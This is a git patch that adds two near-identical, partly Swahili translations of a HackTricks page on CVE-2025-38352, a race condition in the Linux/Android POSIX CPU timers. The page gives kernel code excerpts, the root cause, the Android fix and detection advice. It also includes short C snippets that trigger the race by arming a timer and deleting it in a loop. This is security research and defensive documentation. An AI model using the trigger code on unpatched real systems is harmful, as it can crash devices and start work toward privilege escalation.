From f4e32fe5baf81b0414b72295548e9f4c0dd7563c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:43:53 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/linux-kernel-explo --- src/SUMMARY.md | 2 + .../posix-cpu-timers-toctou-cve-2025-38352.md | 196 ++++++++++++++++++ .../posix-cpu-timers-toctou-cve-2025-38352.md | 196 ++++++++++++++++++ 3 files changed, 394 insertions(+) create mode 100644 src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md create mode 100644 src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9200053c6..3e41d9a7b 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -937,3 +937,5 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) + + - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) \ No newline at end of file diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..e206558cf --- /dev/null +++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,196 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Ukurasa huu unaandika kuhusu hali ya TOCTOU race katika POSIX CPU timers za Linux/Android ambayo inaweza kuharibu hali ya timer na kusababisha kernel ianguke, na katika baadhi ya mazingira inaweza kuelekezwa kuelekea privilege escalation. + +- Sehemu iliyoharibiwa: kernel/time/posix-cpu-timers.c +- Primitivu: expiry vs deletion race under task exit +- Inategemea usanidi: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Muhtasari mfupi wa ndani (relevant for exploitation) +- Three CPU clocks drive accounting for timers via cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime only +- CPUCLOCK_SCHED: task_sched_runtime() +- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes: +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- Arming huingiza kwenye per-base timerqueue na inaweza kusasisha next-expiry cache: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- Njia ya haraka inazuia usindikaji wa gharama kubwa isipokuwa vipindi vilivyohifadhiwa vya kumalizika vinavyoashiria uwezekano wa kuwashwa: +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +- Ukomeshaji hukusanya timers zilizokwisha muda, huziweka alama kuwa zinapigwa, huzihamisha nje ya foleni; utolewaji halisi umeahirishwa: +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Njia mbili za kushughulikia kumalizika +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: kumalizika inacheleweshwa kupitia task_work kwenye kazi iliyolengwa +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: kumalizika kunashughulikiwa moja kwa moja katika muktadha wa IRQ +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +Katika njia ya muktadha wa IRQ, orodha ya kutekelezwa inashughulikiwa nje ya sighand +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit + +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- The target task is exiting but not fully reaped +- Another thread concurrently calls posix_cpu_timer_del() for the same timer + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- Hii inazuia kuingia handle_posix_cpu_timers() kwa kazi zinazoondoka, ikiondoa dirisha ambalo posix_cpu_timer_del() ingeweza kuikosa it.cpu.firing na race na expiry processing. + +Impact +- Uharibifu wa kumbukumbu ya kernel wa miundo ya timer wakati wa expiry/ufutaji sambamba unaweza kusababisha crashes mara moja (DoS) na ni primitive yenye nguvu kuelekea privilege escalation kutokana na fursa za kufanya manipulation isiyotakikana ya kernel-state. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. + +Runtime strategy +- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock): +- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Arm with a very short initial expiration and small interval to maximize IRQ-path entries: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- Kutoka kwa sibling thread, kufuta timer hiyo hiyo kwa wakati mmoja wakati target thread inapoacha: +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Viongezaji vya race: kiwango cha juu cha scheduler tick, mzigo wa CPU, mizunguko ya mara kwa mara ya thread kuondoka/kuunda tena. Ajali kawaida inaonekana wakati posix_cpu_timer_del() inapopuuza kutambua firing kutokana na kushindwa kwa task lookup/locking mara baada ya unlock_task_sighand(). + +Ugundaji na kuimarisha +- Mitigation: tumia exit_state guard; ipendeze kuwezesha CONFIG_POSIX_CPU_TIMERS_TASK_WORK inapowezekana. +- Observability: ongeza tracepoints/WARN_ONCE karibu na unlock_task_sighand()/posix_cpu_timer_del(); ifuatilie angalau mara it.cpu.firing==1 inapoonekana pamoja na kushindwa kwa cpu_timer_task_rcu()/lock_task_sighand(); angalia kutofanana kwa timerqueue karibu na exit ya task. + +Audit hotspots (for reviewers) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): sets ctmr->firing and moves nodes +- handle_posix_cpu_timers(): drops sighand before firing loop +- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap + +Maelezo kwa exploitation research +- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Chukulia PoC yoyote kama inayoweza kusababisha kutokuwa imara na endesha tu kwenye emulators/VMs. + +## References +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..0ead73faf --- /dev/null +++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,196 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Ukurasa huu unaelezea hali ya ushindani ya TOCTOU katika Linux/Android POSIX CPU timers ambayo inaweza kuharibu hali ya timer na kusababisha kernel kuanguka (crash), na kwa baadhi ya mazingira inaweza kuelekezwa kuelekea privilege escalation. + +- Sehemu inayohusika: kernel/time/posix-cpu-timers.c +- Primitive: expiry vs deletion race under task exit +- Inategemea usanidi: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Muhtasari mfupi wa ndani (muhimu kwa exploitation) +- Masaa matatu ya CPU yanaendesha uhasibu wa timers kupitia cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime only +- CPUCLOCK_SCHED: task_sched_runtime() +- Uundaji wa timer huunganisha timer na task/pid na huanzisha timerqueue nodes: +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- Arming huingiza kwenye per-base timerqueue na inaweza kusasisha next-expiry cache: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- Njia ya haraka huzuia usindikaji wa gharama kubwa isipokuwa maliziko yaliyohifadhiwa yanaonyesha uwezekano wa kutekelezwa: +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +- Expiration hukusanya taimeri zilizokwisha, huzitambua kama zimetumwa (firing), huzihamisha nje ya foleni; utolewaji halisi umecheleweshwa: +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Njia mbili za usindikaji wa kumalizika +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: kumalizika kunacheleweshwa kupitia task_work kwenye target task +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: kumalizika kunashughulikiwa moja kwa moja katika IRQ context +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +Katika njia ya IRQ-context, firing list inashughulikiwa nje ya sighand +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Root cause: TOCTOU kati ya kuisha kwa wakati wa IRQ na kuondolewa kwa pamoja wakati wa task exit + +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (njia ya IRQ inatumika) +- The target task inatoka lakini haijachukuliwa kabisa +- Another thread kwa wakati mmoja inaita posix_cpu_timer_del() kwa timer ile ile + +Sequence +1) update_process_times() husababisha run_posix_cpu_timers() katika muktadha wa IRQ kwa task inayotoka. +2) collect_timerqueue() inaweka ctmr->firing = 1 na kuhamisha timer kwenye orodha ya muda ya firing. +3) handle_posix_cpu_timers() inaondoa sighand kupitia unlock_task_sighand() ili kusafirisha timers nje ya lock. +4) Mara tu baada ya unlock, task inayotoka inaweza kuondolewa; thread ndugu inatekeleza posix_cpu_timer_del(). +5) Katika dirisha hili, posix_cpu_timer_del() inaweza kushindwa kupata state kupitia cpu_timer_task_rcu()/lock_task_sighand() na hivyo kuruka mlinzi wa kawaida wa in-flight unaokagua timer->it.cpu.firing. Ufutaji unaendelea kana kwamba hauna firing, ukaharibu state wakati expiry inashughulikiwa, kusababisha crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry inaahirishwa kwa task_work; exit_task_work inakimbia kabla ya exit_notify, hivyo kuingiliana kwa wakati wa IRQ na kuondolewa hakutokee. +- Hata hivyo, ikiwa task tayari inapotoka, task_work_add() inashindwa; kuegemea kwenye exit_state hufanya mode zote mbili ziwe sambamba. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- Hili linazuia kuingia handle_posix_cpu_timers() kwa kazi zinazoondoka, likiondoa dirisha ambapo posix_cpu_timer_del() inaweza kukosa it.cpu.firing na kushindana na usindikaji wa kumalizika. + +Athari +- Uharibifu wa kumbukumbu ya kernel wa muundo za timer wakati wa kumalizika/futwa kwa wakati mmoja unaweza kusababisha crash mara moja (DoS) na ni njia-msingi yenye nguvu kuelekea privilege escalation kutokana na fursa za kuathiri arbitrary kernel-state. + +Kusababisha hitilafu (hali salama, zinazoweza kurudiwa) +Ujenzi/konfig +- Hakikisha CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n na tumia kernel isiyo na marekebisho ya exit_state gating. + +Mkakati wa runtime +- Lenga thread ambayo iko karibu kuondoka na uambatise CPU timer kwake (per-thread au process-wide clock): +- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Iamsha kwa muda mfupi sana wa kumalizika wa awali na kipindi kidogo ili kuongeza idadi ya kuingia za IRQ-path: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- Kutoka kwa thread ya ndugu, futa kwa wakati mmoja timer ile ile wakati thread lengwa inatoka: +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Race amplifiers: kiwango cha juu cha scheduler tick, mzigo wa CPU, mizunguko ya repeated thread exit/re-create. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand(). + +Utambuzi na kuimarisha +- Kupunguza athari: tumia exit_state guard; pendelea kuwezesha CONFIG_POSIX_CPU_TIMERS_TASK_WORK inapowezekana. +- Uwezo wa ufuatiliaji: ongeza tracepoints/WARN_ONCE karibu na unlock_task_sighand()/posix_cpu_timer_del(); toa tahadhari wakati it.cpu.firing==1 inapoonekana pamoja na kushindwa kwa cpu_timer_task_rcu()/lock_task_sighand(); angalia kwa kutokuelewana kwa timerqueue karibu na task exit. + +Sehemu za ukaguzi (kwa wakaguzi) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): inaweka ctmr->firing na inasogeza nodes +- handle_posix_cpu_timers(): inaondoa sighand kabla ya firing loop +- posix_cpu_timer_del(): inategemea it.cpu.firing kugundua in-flight expiry; ukaguzi huu unarukuliwa wakati task lookup/lock inashindwa wakati wa exit/reap + +Maelezo kwa exploitation research +- Tabia iliyofichuliwa ni primitive thabiti ya kernel crash; kuibadilisha kuwa privilege escalation kawaida kunahitaji overlap ya ziada inayoweza kudhibitiwa (object lifetime au write-what-where influence) zaidi ya wigo wa muhtasari huu. Chukulia PoC yoyote kama inayoweza kusababisha kutegemeka na iendeshe tu katika emulators/VMs. + +## References +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}}